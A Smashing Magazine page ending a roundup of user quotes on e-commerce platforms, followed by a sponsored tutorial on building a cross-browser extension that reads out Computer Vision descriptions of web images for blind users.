Jumpseller (86%) Link

What Users Like Link

Customer support

“The Jumpseller team is also very helpful… They’ll walk you through the process of making website [changes], so you can really understand.” | “Technical support is great, always helpful and fast.” | “The best thing is its excellent service, very fast and efficient.” | “Support has worked well so far. When we’ve submitted a query, we’ve gotten quick feedback.” | “Fast and good email support.” | “The customer service is very responsive and helpful.” | “The email response time is super-fast. If I have one question or doubt regarding anything, from design to DNS configuration, they’ll reply in less than 15 minutes!”

Using it for Chilean and international stores

“Our store is based in Chile, and another feature we appreciated is that it had full integration with local payment systems.” | “Has local credit-card options (in our country).” | “Recently, they integrated the price list of one of the shipping companies most used in our country.” | “The good thing is the translation tool.” | “I can tell you that we have selected Jumpseller because we are selling in Chile, and the store was very well integrated with the most popular payment methods, couriers, etc.”

Jumpseller17
Users recommend Jumpseller for managing languages and international stores. (View large version18)

GoDaddy (83%) Link

What Users Like Link

Ease of use

“It is easy to set up.” | “Easy to maintain.” | “Fairly user-friendly.” | “They really made everything so simple to make extremely intuitive changes quickly.” | “It’s easy to work with.” | “I would recommend it for a new user because of the ease of use in building a store.” | “Easy to use and have had no issues.”

What Users Don’t Like Link

Limitations

“There are design limitations, though.” | “It is lacking in several business customization respects.” | “I wish there was a little more customization allowed.” | “There are some design limitations unless you know HTML.” | “Product is good but has many limitations.” | “I like it, but it does have limitations.” | “It has some limitations, but I have been able to work around them.” | “It does have its limitations on customizing, though.”

Credit-card processor options

“It would be better if it allowed shoppers to use a credit card to place an order, even if we don’t use their approved credit-card processor.” | “We were happy with them for years, and then out of the blue, the payment processors affiliated with GoDaddy dropped us.” | “We will be switching all of our stores from GoDaddy in the near future because it does not allow you to use the merchant service of your choice. You are forced to use Stripe.”

GoDaddy19
Users found GoDaddy easy to use, though limited. (View large version20)

CoreCommerce (80%) Link

What Users Like Link

Support

“Tech support has always been responsive and friendly.” | “Good customer support.” | “I have been able to live chat or call with questions without issue.” | “The support is excellent.” | “Very quick responses to any of our requests.” | “Their support is very good.” | “Their customer service is absolutely the very best.” | “You can always call them 24/7 if you need any kind of support, and it doesn’t cost any extra money.” | “Their tech support is awesome.” | “Tech support has always been responsive and friendly.” | “CoreCommerce’s service is good. It has a mom and pop feel to it.”

Price

“Price for the features and benefits given is exceptional, and no one we’ve spoken with can come close to the value.” | “It is a very cost-effective solution.” | “It is also very affordable.” | “I have yet to find another platform that offers the same value as CoreCommerce (at least for our particular business).” | “Prices are good.”

What Users Don’t Like Link

Feels outdated

“Technologies are old, and they are very slow to update it.” | “It feels like the year 2003.” | “Outdated and uninspiring admin panel.” | “They’ve been a bit behind the times with integrations (still no Bitcoin, for example).” | “They are using an antiquated system, which doesn’t bode well for tie-in structures for the future.”

Difficult to use

“I do find the GUI to be somewhat frustrating and unintuitive.” | “It is annoying when you [have] to update each thing in multiple areas.” | “It is not intuitive or user-friendly.” | “The product was flaky. Flexible but badly designed in lots of areas.” | “Control panel sucks.”

CoreCommerce21
Users found CoreCommerce difficult to use. (View large version22)

BigCommerce (79%) Link

What Users Like Link

Customer support

“I emailed the president [of BigCommerce] at 1:00 am requesting help… Within 10 minutes, [he] was on it with compassion and ready to help. They have bent over backward for me.” | “They provide excellent customer support.” | “If nothing else, they seem to have great customer service.” | “More than anything, we care about customer service, and BigCommerce provides excellent customer service.” | “Technical support has been great.” | “Great support.” | “Their tech support is 24/7 and is very responsive to our questions.” | “Customer service… is very helpful.”

What Users Don’t Like Link

Price

“Their pricing structure is punitive for successful businesses… This is surely a recurring theme if you’ve reached out to many B2C website users who have grown their site.” | “A bit pricey when your sales hit over $300,000 a year.” | “[Recently,] my monthly payments increased from $25 to $250 due to my business exceeding the annual sales of their intermediate plan.” | “Because of our sales volume, BigCommerce frequently increases our monthly fees based on increasing sales. This has become very expensive.” | “A bit pricey.” | “We feel it is overpriced these days.” | “Their pricing structure makes no sense, but I’ve been with them for seven years.” | “I would recommend BigCommerce. Pricing is a bit high, though.” | “I personally think the pricing is a little steep.”

BigCommerce23
Managing products in BigCommerce (View large version24)

Ubercart (78%) Link

What Users Don’t Like Link

Not for non-developers

“Not as friendly for a non-developer or an individual who just wants to set up shop on their own and doesn’t have a technical background.” | “Ubercart works well as long as you have an experienced programmer.” | “Please note that it would require a developer who knows Drupal, because many aspects needed customization.” | “[I would recommend it ] if you’re comfortable with Drupal.”

Difficult to use

“Ubercart is OK, but it is hard to customize.” | “The learning curve is quite steep.” | “It can be a bit tricky to get your store looking just the way you want.” | “Ubercart isn’t the easiest to set up or work with.” | “The only disadvantage of Ubercart is the complex configuration of the store system.” | “It’s not as plug-and-play as Shopify.”

Ubercart25
Users found that Ubercart works best if you have a developer on your team. (View large version26)

Wix (78%) Link

What Users Like Link

Ease of use

“The e-commerce site is beyond simple to use.” | “I would recommend it on one level: It’s easy to use. I can do all the building and updating myself, and so that’s good.” | “Easy to use.” | “Easy to build and maintain.” | “It is user-friendly, easy to set up and modify.” | “It’s super-easy to use, and it seems like everyone who’s ordered from me has also done so with ease.” | “If you want a simple storefront, it’s pretty straightforward, easy and cheap.” | “It is easy to set up.” | “It’s easy to use and user-friendly.” | “It was pretty intuitive to set up.”

What Users Don’t Like Link

Limitations

“It is basic.” | “There are some limitations with shipping and accounting (sending to QuickBooks, etc.).” | “A little limited in some options.” | “I have not been able to make it work in the way I need.” | “I cannot update the inventory amount.” | “We had so many different options, which the configuration of the store and products did not allow us to do.” | “We also wanted to be able to get customers reviews and could not do it.” | “My main complaint is the lack of customization options — for example, not being able to display a price per pound.” | “If you want a variety of options and a wide range of modifications, it is not ideal.”

Wix27
Users found Wix easy to use but limited. (View large version28)

Magento (74%) Link

What Users Like Link

Highly customizable

“We have complete control over our Magento store and have customized it extensively to meet our needs. That’s what I like most about it.” | “The amount of customizations and extensions available are endless.” | “It has an unparalleled level of customization and freedom.” | “It has a lot of great customization features.” | “It’s pretty powerful.”

What Users Don’t Like Link

Difficult to use

“Probably the steepest learning curve.” | “It’s very expensive to get changes made.” | “Magento is overkill for what I need to do on my site.” | “User interface is not as easy as it could be.” | “It can be a real pain sometimes.” | “Complicated to set up.” | “It’s got a steep learning curve.” | “Magento has a huge learning curve.” | “It breaks for no reasons, and it breaks if you add anything to the site.” | “Always something going wrong for no apparent reason.”

Often requires professional help

“You will need a good PHP programmer if you intend to add anything to it beyond the default installation.” | “If one wants to really change Magento, one needs an expert.” | “Needs a good specialist to partner with to get the best out of it.” | “I would recommend it as long as you have a true Magento-certified developer to hold your hand the entire way and to create your site and work with you.” | “Magento is good if you’re a web developer and have coding skills.”

Magento29
Users found Magento difficult to use. (View large version30)

Weebly (74%) Link

What Users Like Link

Ease of use

“It is very easy to use.” | “It was easy to use without web design experience.” | “It is basic and easy to use.” | “I have enjoyed the ease of Weebly and what you can accomplish with the tools.” | “It is extremely easy for me to use.” | “I’d recommend it because it is so easy to set up and track inventory.” | “This is one of the easiest [e-commerce platforms] I have used.” | “I do like the online store with Weebly because of the ease of use.” | “Weebly is really easy to use.”

What Users Don’t Like Link

Third-party hosts

“[Weebly] is offered through MacHighway, which I use for my hosting, so there were some glitches in the beginning that probably wouldn’t have been there if I’d gone straight through Weebly.” | “Just make sure you buy the Weebly subscription directly through weebly.com and not through a reseller, because I lost a whole website that way.” | “I would recommend it but only through the Weebly host.” | “The B.S. part is that since day one, iPower (a third-party Weebly host) claimed I was getting an ultra-premium package but was only paying for basic. I would go to edit a product and nothing worked. I’d call customer support and they’d tell me I need to upgrade. This has happened to me twice in three years with them. I’m hoping they get stuck with a class-action suit for fraud.” | “iPage is my host for Weebly. Because of this, I don’t have access to all of the features Weebly offers.” | “… Full access to all of the Weebly features would sort that at once, but iPage (maybe I should change) wants to lock me in for three years and pay the full amount up front!”

Limited features

“If you want a more customizable tool, then this might not work for you.” | “Weebly is missing some of the critcal things that we want from an online store.” | “I am hoping that they have, or will come up with, an automatic shipping calculation.” | “The only hiccup is when I need to change my prices. I have a lot of inventory, and I have found that the easiest way (relatively speaking) to do this is to change each one individually.” | “You can’t do everything design-wise on it.” | “It was perfect for me at first, but I have grown out of it very quickly [because of limited features].” | “The Weebly platform is not scalable. There is no element to customize your cart.” | “The shipping is a problem because it can’t be adjusted for lighter, heavier or multiple items.”

Weebly31
Users found Weebly easy to use but limited. (View large version32)

3dcart (72%) Link

What Users Don’t Like Link

Bandwidth overage charges

“If you read the forums, one problem that continually arises, and one that I have, is bandwidth. It seems that I’m always going over my bandwidth, even though I have relatively few products and dump files regularly.” | “3dcart charges for bandwidth, so serving lots of digital products from your server might not be a great idea depending on your budget.” | “They charge you for data, and it adds up.” | “It tends to use a lot of bandwidth. My store doesn’t have a huge amount of traffic (yet!), but I still go over my plan just about every month.”

Customer support

“Their comments are snarky, and their help is judgemental in that they always place blame on the customer, and it can take up to a week for them to solve a problem.” | “”Customer support has a laissez-faire attitude.” | “I have to really keep on them when I open a ticket, or I may not get a response for days.” | “I would say the biggest con has been customer service.” | “I would characterize them as almost disrespectful.” | “Their lack of support [was surprising].” | “The tech support also cannot help with even the most basic HTML questions.” | “Technical support online isn’t the best.” | “The help line is not very helpful. If there is a problem, such as the system stops taking orders or accepting credit cards, they assume it’s a problem on your end.” | “Their live support sucks.”

Difficult to use

“I feel the product is terribly cumbersome.” | “The admin interface makes it very difficult to find what settings I’m looking for.” | “It is awkward and not very user-friendly.” | “My website is with 3dcart, but it is overwhelming.” | “It is a little quirky in the back end.” | “I personally find it difficult to make even simple changes to.” | “Some of it is not very intuitive, so you have to keep clicking around until you remember where everything is.”

3dcart33
Users found 3dcart difficult to use and were frustrated with the bandwidth overage charges. (View large version34)

PrestaShop (70%) Link

What Users Like Link

Modules

“It has quite a lot of modules.” | “It has loads of modules” | “Lots of additional modules and functionalities to add.” | “A lot of modules.” | “They have a lot of free and already installed modules.” | “There are a lot of free modules.” | “Large offer of modules.”

What Users Don’t Like Link

Difficult to use

“You need to be quite a good geek to understand everything.” | “We’ve encountered and still are encountering lots of problems with PrestaShop.” | “PrestaShop isn’t as user-friendly as others are nowadays.” | “The admin panel is not user-friendly.” | “I don’t recommend it for a beginner or if you don’t have much technical skill.”

Buggy

“I hate it… It’s buggy and impossible to upgrade easily to newer versions.” | “It’s kind of an unstable, slow system for me, but I think in the near future it will be more stable and fast.” | “We have lots of problems with PrestaShop.” | “No, I would not recommend it. Buggy as hell.” | “No, I would not recommend it. Too heavy and too slow.” | “The back-end pages sometimes take an age to load — even for simple stuff.”

PrestaShop35
Users found PrestaShop buggy at times. (View large version36)

Goodsie (65%) Link

What Users Like Link

Good for beginners

“Quick and easy. I think its simplicity best suits the light or new user.” | “Great for people with no knowledge [of how to build a store].” | “For someone with zero experience building a website, I found their product to be so easy to navigate.” | “I highly recommend it for beginners.”

What Users Don’t Like Link

Pricing

“Way too expensive.” | “There are cheaper options out there that do the same thing.” | “I liked Goodsie when I started with them five or six years ago, but their prices keep going up.” | “Prices were hiked above what they should be, so I am about to change.” | “The price went from $15 to $30 per month not too long ago.”

Goodsie37
Users suggest Goodsie’s simplicity makes it good for beginners, although it is expensive. (View large version38)

Spark Pay (65%) Link

What Users Like Link

Customer support is prompt

“Whenever we’ve needed support, their help systems are very responsive.” | “Spark Pay’s technical support is excellent.” | “Very responsive for help.” | “They have been responsive to any needs I’ve had.” | “I find their customer service to be quite responsive.” | “Tech support is very responsive via phone or email.” | “They have been very responsive to helping out with general website questions and problems.”

What Users Don’t Like Link

Bandwidth overage charges

“The main thing I don’t like are the extra bandwidth charges.” | “Nailed with huge bandwidth charges.” | “They are little hidden fees for going over your bandwidth account file storage and product count if you don’t keep an eye on them.”

Difficult to use

“Spark Pay is not simple!” | “They have a ton of features built in — most of them are half-baked and don’t function 100%, which has led to frustration.” | “[Needs to] reduce the bloat in their software.” | “Unless you have a designer and/or developer on staff, or at the very least a very computer-savvy non-techie, it’s virtually impossible to understand Spark Pay.” | “Their web editor is clumsy.” | “Their platform is buggy.” | “It is crazy complicated to make even some of the most mundane changes.” | “Their system bogs down so much that only the most minor of changes are doable.” | “Clunky UI, way too much complexity. Just a nightmare to deal with.”

While prompt, customer support can be disappointing

“There service desk really isn’t one. They have no formal (or competent) escalation process.” | “They are not nearly as responsive to fixing significant issues as they should be.” | “I feel like the platform has a lot of tools to offer, but few resources to teach you how to use them.” | “Technical support is rather lacking. When you do finally get someone to answer the tickets, they do a very minimal amount of work and effort to correct the problem.”

Spark Pay39
Users found Spark Pay difficult to use and were frustrated by bandwidth overage charges. (View large version40)

Volusion (51%) Link

What Users Like Link

Customer support

“Their technical support department people are top-notch… I’m extremely impressed with them.” | “The [support] team at Volusion is knowledgeable, and that is highly important.” | “Their customer support is excellent.” | “Their support is superb.” | “Support is second to none.” | “There technical support team is also very good in helping to fix any issues that we might have had.”

What Users Don’t Like Link

Bandwidth limitations

“The one thing I can’t stand is the amount of bandwidth they provide you with. [It] will easily be gone in a week if you have a lot of visitors.” | “They don’t have adequate bandwidth plans, and their billing for bandwidth overages is highly irritating.” | “Site traffic is pricey.” | “I originally used very large images for my products and received some rather stiff hosting fines for going over the stupidly low bandwidth level.” | “The way they charge for bandwidth caused us to have obscene overage charged for months.”

Expensive

“It is particularly expensive, and the costs weren’t clear [when we started].” | “Once the site is built, they nickel and dime you for every little thing imaginable.” | “I also used the Volusion SEO team and that was a joke. $1600 a month!” | “Not the least expensive around.” | “I would caution new users to be aware of hidden costs. Email addresses are extra. An SSL certificate is extra. A service to check the reliability of each credit card is extra. SEO and design services are phenomenally expensive.” | “Going by the prices they charge for SEO packages, they’re aiming at companies far larger than mine.” | “If you want anything besides barebone offerings, everything else is available… for a price.” | “I just wish it was a little cheaper.” | “Volusion keeps [the initial setup and customization] complicated, hoping that you will pay them to do it for you.”

Difficult to use

“The back end is not user-friendly.” | “The UX is confusing and bloated, but I’m used to it.” | “There is a learning curve, so it takes a while to get going. And if you want customization, be prepared to learn it yourself or pay some hefty fees.” | “It’s not straightforward and is prone to errors.” | “If you change a font size within the text, you then lose all other formatting — nothing major, but annoying and time-consuming.” | “It’s quite clunky to manage content and design.” | “There are random glitches throughout the site that have probably cost me thousands in abandoned carts.” | “One thing that is hard for me is manipulating website elements. GoDaddy was easier for me.”

Volusion41
Users found Volusion difficult to use and expensive. (View large version42)

Conclusion Link

It’s worth noting that this is not a list of all e-commerce software currently available in the world. Instead, I’ve only included software for which I was able to talk to a minimum of 30 users (and I was not able to find 30 users for several companies).

But this is a fairly comprehensive list of the most popular e-commerce platforms. Furthermore, these are the thoughts of real, verified users. I hope it’s helpful in your search for the right e-commerce software!

This article is based off of the e-commerce software guide originally published here43.

(vf, al, il)

Footnotes Link

  1. 1 https://www.smashingmagazine.com/2014/10/reducing-abandoned-shopping-carts/
  2. 2 https://www.smashingmagazine.com/2013/11/guidelines-navigation-categories-ecommerce-study/
  3. 3 https://www.smashingmagazine.com/2013/03/designing-a-better-mobile-checkout-process/
  4. 4 https://www.smashingmagazine.com/2011/04/taking-credit-card-payments-online-whats-involved/
  5. 5 https://www.wisebuyer.com/portfolio-builders
  6. 6 https://www.wisebuyer.com/landing-page-builders
  7. 7 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Shopify-large-opt.jpg
  8. 8 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Shopify-large-opt.jpg
  9. 9 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Squarespace-large-opt.jpg
  10. 10 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Squarespace-large-opt.jpg
  11. 11 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Big-Cartel-large-opt.jpg
  12. 12 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Big-Cartel-large-opt.jpg
  13. 13 https://www.smashingmagazine.com/wp-content/uploads/2017/03/WooCommerce-large-opt.png
  14. 14 https://www.smashingmagazine.com/wp-content/uploads/2017/03/WooCommerce-large-opt.png
  15. 15 https://www.smashingmagazine.com/wp-content/uploads/2017/03/OpenCart-large-opt.png
  16. 16 https://www.smashingmagazine.com/wp-content/uploads/2017/03/OpenCart-large-opt.png
  17. 17 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Jumpseller-large-opt.jpeg
  18. 18 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Jumpseller-large-opt.jpeg
  19. 19 https://www.smashingmagazine.com/wp-content/uploads/2017/03/GoDaddy-large-opt.jpg
  20. 20 https://www.smashingmagazine.com/wp-content/uploads/2017/03/GoDaddy-large-opt.jpg
  21. 21 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Core-Commerce-large-opt.jpg
  22. 22 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Core-Commerce-large-opt.jpg
  23. 23 https://www.smashingmagazine.com/wp-content/uploads/2017/03/BigCommerce-large-opt.jpg
  24. 24 https://www.smashingmagazine.com/wp-content/uploads/2017/03/BigCommerce-large-opt.jpg
  25. 25 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Ubercart-large-opt.png
  26. 26 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Ubercart-large-opt.png
  27. 27 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Wix-large-opt.jpg
  28. 28 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Wix-large-opt.jpg
  29. 29 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Magento-large-opt.png
  30. 30 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Magento-large-opt.png
  31. 31 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Weebly-large-opt.jpg
  32. 32 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Weebly-large-opt.jpg
  33. 33 https://www.smashingmagazine.com/wp-content/uploads/2017/03/3dcart-large-opt.jpg
  34. 34 https://www.smashingmagazine.com/wp-content/uploads/2017/03/3dcart-large-opt.jpg
  35. 35 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Prestashop-large-opt.png
  36. 36 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Prestashop-large-opt.png
  37. 37 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Goodsie-large-opt.png
  38. 38 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Goodsie-large-opt.png
  39. 39 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Spark-Pay-large-opt.jpg
  40. 40 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Spark-Pay-large-opt.jpg
  41. 41 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Volusion-large-opt.jpeg
  42. 42 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Volusion-large-opt.jpeg
  43. 43 https://www.wisebuyer.com/ecommerce-software

↑ Back to topTweet itShare on Facebook

Creating One Browser Extension For All Browsers: Edge, Chrome, Firefox, Opera, Brave And Vivaldi

by

Sponsored PostCreating One Browser Extension For All Browsers: Edge, Chrome, Firefox, Opera, Brave And Vivaldi

In today’s article, we’ll create a JavaScript extension that works in all major modern browsers, using the very same code base. Indeed, the Chrome extension model based on HTML, CSS and JavaScript is now available almost everywhere, and there is even a Browser Extension Community Group1 working on a standard.

I’ll explain how you can install this extension that supports the web extension model (i.e. Edge, Chrome, Firefox, Opera, Brave and Vivaldi), and provide some simple tips on how to get a unique code base for all of them, but also how to debug in each browser.

Note: We won’t cover Safari in this article because it doesn’t support the same extension model2 as others.

Further Reading on SmashingMag: Link

Basics Link

I won’t cover the basics of extension development because plenty of good resources are already available from each vendor:

So, if you’ve never built an extension before or don’t know how it works, have a quick look at those resources. Don’t worry: Building one is simple and straightforward.

Our Extension Link

Let’s build a proof of concept — an extension that uses artificial intelligence (AI) and computer vision to help the blind analyze images on a web page.

We’ll see that, with a few lines of code, we can create some powerful features in the browser. In my case, I’m concerned with accessibility on the web and I’ve already spent some time thinking about how to make a breakout game accessible using web audio and SVG14, for instance.

Still, I’ve been looking for something that would help blind people in a more general way. I was recently inspired while listening to a great talk by Chris Heilmann15 in Lisbon: “Pixels and Hidden Meaning in Pixels16.”

Indeed, using today’s AI algorithms in the cloud, as well as text-to-speech technologies, exposed in the browser with the Web Speech API17 or using a remote cloud service, we can very easily build an extension that analyzes web page images with missing or improperly filled alt text properties.

My little proof of concept simply extracts images from a web page (the one in the active tab) and displays the thumbnails in a list. When you click on one of the images, the extension queries the Computer Vision API to get some descriptive text for the image and then uses either the Web Speech API or Bing Speech API to share it with the visitor.

The video below demonstrates it in Edge, Chrome, Firefox, Opera and Brave.

You’ll notice that, even when the Computer Vision API is analyzing some CGI images, it’s very accurate! I’m really impressed by the progress the industry has made on this in recent months.

I’m using these services:

  • Computer Vision API18, Microsoft Cognitive Services

    This is free to use19 (with a quota). You’ll need to generate a free key; replace the TODO section in the code with your key to make this extension work on your machine. To get an idea of what this API can do, play around with it20.
    • 21
  • Bing Text to Speech API22, Microsoft Cognitive Services

    This is also free to use23 (with a quota, too). You’ll need to generate a free key again. We’ll also use a small library24 that I wrote recently to call this API from JavaScript. If you don’t have a Bing key, the extension will always fall back to the Web Speech API, which is supported by all recent browsers.

But feel free to try other similar services:

You can find the code for this small browser extension on my GitHub page27. Feel free to modify the code for other products you want to test.

Tip To Make Your Code Compatible With All Browsers Link

Most of the code and tutorials you’ll find use the namespace chrome.xxx for the Extension API (chrome.tabs, for instance).

But, as I’ve said, the Extension API model is currently being standardized to browser.xxx, and some browsers are defining their own namespaces in the meantime (for example, Edge is using msBrowser).

Fortunately, most of the API remains the same behind the browser. So, it’s very simple to create a little trick to support all browsers and namespace definitions, thanks to the beauty of JavaScript:

window.browser = (function () { return window.msBrowser || window.browser || window.chrome; })();

And voilà!

Of course, you’ll also need to use the subset of the API supported by all browsers. For instance:

Extension Architecture Link

Let’s review together the architecture of this extension. If you’re new to browser extensions, this should help you to understand the flow.

Let’s start with the manifest file31:

Slide132
(View large version33)

This manifest file and its associated JSON is the minimum you’ll need to load an extension in all browsers, if we’re not considering the code of the extension itself, of course. Please check the source34 in my GitHub account, and start from here to be sure that your extension is compatible with all browsers.

For instance, you must specify an author property to load it in Edge; otherwise, it will throw an error. You’ll also need to use the same structure for the icons. The default_title property is also important because it’s used by screen readers in some browsers.

Here are links to the documentation to help you build a manifest file that is compatible everywhere:

The sample extension used in this article is mainly based on the concept of the content script38. This is a script living in the context of the page that we’d like to inspect. Because it has access to the DOM, it will help us to retrieve the images contained in the web page. If you’d like to know more about what a content script is, Opera39, Mozilla40 and Google41 have documentation on it.

Our content script42 is simple:

Slide243
(View large version44)
console.log("Dare Angel content script started"); browser.runtime.onMessage.addListener(function (request, sender, sendResponse) { if (request.command == "requestImages") { var images = document.getElementsByTagName('img'); var imagesList = []; for (var i = 0; i  64 && images[i].height > 64)) { imagesList.push({ url: images[i].src, alt: images[i].alt }); } } sendResponse(JSON.stringify(imagesList)); } }); view raw

This first logs into the console to let you check that the extension has properly loaded. Check it via your browser’s developer tool, accessible from F12, Control + Shift + I or ⌘ + ⌥ + I.

It then waits for a message from the UI page with a requestImages command to get all of the images available in the current DOM, and then it returns a list of their URLs if they’re bigger than 64 × 64 pixels (to avoid all of the pixel-tracking junk and low-resolution images).

Slide345
(View large version46)

The popup UI page47 we’re using is very simple and will display the list of images returned by the content script inside a flexbox container48. It loads the start.js script, which immediately creates an instance of dareangel.dashboard.js49 to send a message to the content script to get the URLs of the images in the currently visible tab.

Here’s the code that lives in the UI page, requesting the URLs to the content script:

browser.tabs.query({ active: true, currentWindow: true }, (tabs) => { browser.tabs.sendMessage(tabs[0].id, { command: "requestImages" }, (response) => { this._imagesList = JSON.parse(response); this._imagesList.forEach((element) => { var newImageHTMLElement = document.createElement("img"); newImageHTMLElement.src = element.url; newImageHTMLElement.alt = element.alt; newImageHTMLElement.tabIndex = this._tabIndex; this._tabIndex++; newImageHTMLElement.addEventListener("focus", (event) => { if (COMPUTERVISIONKEY !== "") { this.analyzeThisImage(event.target.src); } else { var warningMsg = document.createElement("div"); warningMsg.innerHTML = "

Please generate a Computer Vision key in the other tab. Link
"; this._targetDiv.insertBefore(warningMsg, this._targetDiv.firstChild); browser.tabs.create({ active: false, url: "https://www.microsoft.com/cognitive-services/en-US/sign-up?ReturnUrl=/cognitive-services/en-us/subscriptions?productId=%2fproducts%2f54d873dd5eefd00dc474a0f4" }); } }); this._targetDiv.appendChild(newImageHTMLElement); }); }); });

We’re creating image elements. Each image will trigger an event if it has focus, querying the Computer Vision API for review.

This is done by this simple XHR call:

analyzeThisImage(url) { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = () => { if (xhr.readyState == 4 && xhr.status == 200) { var response = document.querySelector('#response'); var reponse = JSON.parse(xhr.response); var resultToSpeak = `With a confidence of ${Math.round(reponse.description.captions[0].confidence * 100)}%, I think it's ${reponse.description.captions[0].text}`; console.log(resultToSpeak); if (!this._useBingTTS || BINGSPEECHKEY === "") { var synUtterance = new SpeechSynthesisUtterance(); synUtterance.text = resultToSpeak; window.speechSynthesis.speak(synUtterance); } else { this._bingTTSclient.synthesize(resultToSpeak); } } }; xhr.onerror = (evt) => { console.log(evt); }; try { xhr.open('POST', 'https://api.projectoxford.ai/vision/v1.0/describe'); xhr.setRequestHeader("Content-Type", "application/json"); xhr.setRequestHeader("Ocp-Apim-Subscription-Key", COMPUTERVISIONKEY); var requestObject = { "url": url }; xhr.send(JSON.stringify(requestObject)); } catch (ex) { console.log(ex); } } view raw

The following articles will you help you to understand how this Computer Vision API works:

  • “Analyzing an Image Version 1.050,” Microsoft Cognitive Services
  • “Computer Vision API, v1.051,” Microsoft Cognitive Services

    This shows you via an interactive console in a web page how to call the REST API with the proper JSON properties, and the JSON object you’ll get in return. It’s useful to understand how it works and how you will call it.

In our case, we’re using the describe feature of the API. You’ll also notice in the callback that we will try to use either the Web Speech API or the Bing Text-to-Speech service, based on your options.

Here, then, is the global workflow of this little extension:

Slide452
(View large version53)

Loading The Extension In Each Browser Link

Let’s review quickly how to install the extension in each browser.

Prerequisites Link

Download or clone my small extension54 from GitHub somewhere to your hard drive.

Also, modify dareangel.dashboard.js to add at least a Computer Vision API key. Otherwise, the extension will only be able to display the images extracted from the web page.

Microsoft Edge Link

First, you’ll need at least a Windows 10 Anniversary Update (OS Build 14393+) to have support for extensions in Edge.

Then, open Edge and type about:flags in the address bar. Check the “Enable extension developer features.”

EnableInEdge00155

Click on “…” in the Edge’s navigation bar and then “Extensions” and then “Load extension,” and select the folder where you’ve cloned my GitHub repository. You’ll get this:

56

Click on this freshly loaded extension, and enable “Show button next to the address bar.”

EnableInEdge00357

Note the “Reload extension” button, which is useful while you’re developing your extension. You won’t be forced to remove or reinstall it during the development process; just click the button to refresh the extension.

Navigate to BabylonJS626158, and click on the Dare Angel (DA) button to follow the same demo as shown in the video.

Google Chrome, Opera, Vivaldi Link

In Chrome, navigate to chrome://extensions. In Opera, navigate to opera://extensions. And in Vivaldi, navigate to vivaldi://extensions. Then, enable “Developer mode.”

Click on “Load unpacked extension,” and choose the folder where you’ve extracted my extension.

Chrome00159
(View large version60)

Navigate to BabylonJS626158, and open the extension to check that it works fine.

Mozilla Firefox Link

You’ve got two options here. The first is to temporarily load your extension, which is as easy as it is in Edge and Chrome.

Open Firefox, navigate to about:debugging and click “Load Temporary Add-on.” Then, navigate to the folder of the extension, and select the manifest.json file. That’s it! Now go to BabylonJS626158 to test the extension.

Firefox00163
(View large version64)

The only problem with this solution is that every time you close the browser, you’ll have to reload the extension. The second option would be to use the XPI packaging. You can learn more about this in “Extension Packaging65” on the Mozilla Developer Network.

Brave Link

The public version of Brave doesn’t have a “developer mode” embedded in it to let you load an unsigned extension. You’ll need to build your own version of it by following the steps in “Loading Chrome Extensions in Brave66.”

As explained in that article, once you’ve cloned Brave, you’ll need to open the extensions.js file in a text editor. Locate the lines below, and insert the registration code for your extension. In my case, I’ve just added the two last lines:

 // Manually install the braveExtension and torrentExtension extensionInfo.setState(config.braveExtensionId, extensionStates.REGISTERED) loadExtension(config.braveExtensionId, getExtensionsPath('brave'), generateBraveManifest(), 'component') extensionInfo.setState('DareAngel', extensionStates.REGISTERED) loadExtension('DareAngel', getExtensionsPath('DareAngel/')) view raw

Copy the extension to the app/extensions folder. Open two command prompts in the browser-laptop folder. In the first one, launch npm run watch, and wait for webpack to finish building Brave’s Electron app. It should say, “webpack: bundle is now VALID.” Otherwise, you’ll run into some issues.

Brave00167
(View large version68)

Then, in the second command prompt, launch npm start, which will launch our slightly custom version of Brave.

In Brave, navigate to about:extensions, and you should see the extension displayed and loaded in the address bar.

Brave00269
(View large version70)

Debugging The Extension In Each Browser Link

Tip for all browsers: Using console.log(), simply log some data from the flow of your extension. Most of the time, using the browser’s developer tools, you’ll be able to click on the JavaScript file that has logged it to open it and debug it.

Microsoft Edge Link

To debug the client script part, living in the context of the page, you just need to open F12. Then, click on the “Debugger” tab and find your extension’s folder.

Open the script file that you’d like to debug — dareangel.client.js, in my case — and debug your code as usual, setting up breakpoints, etc.

DebugInEdge00171
(View large version72)

If your extension creates a separate tab to do its job (like the Page Analyzer73, which our Vorlon.js74 team published in the store), simply press F12 on that tab to debug it.

DebugInEdge00275
(View large version76)

If you’d like to debug the popup page, you’ll first need to get the ID of your extension. To do that, simply go into the property of the extension and you’ll find an ID property:

DebugInEdge00377

Then, you’ll need to type in the address bar something like ms-browser-extension://ID_of_your_extension/yourpage.html. In our case, it would be ms-browser-extension://DareAngel_vdbyzyarbfgh8/dashboard.html. Then, simply use F12 on this page:

DebugInEdge00478
(View large version79)

Google Chrome, Opera, Vivaldi, Brave Link

Because Chrome and Opera rely on the same Blink code base, they share the same debugging process. Even though Brave and Vivaldi are forks of Chromium, they also share the same debugging process most of the time.

To debug the client script part, open the browser’s developer tools on the page that you’d like to debug (pressing F12, Control + Shift + I or ⌘ + ⌥ + I, depending on the browser or platform you’re using).

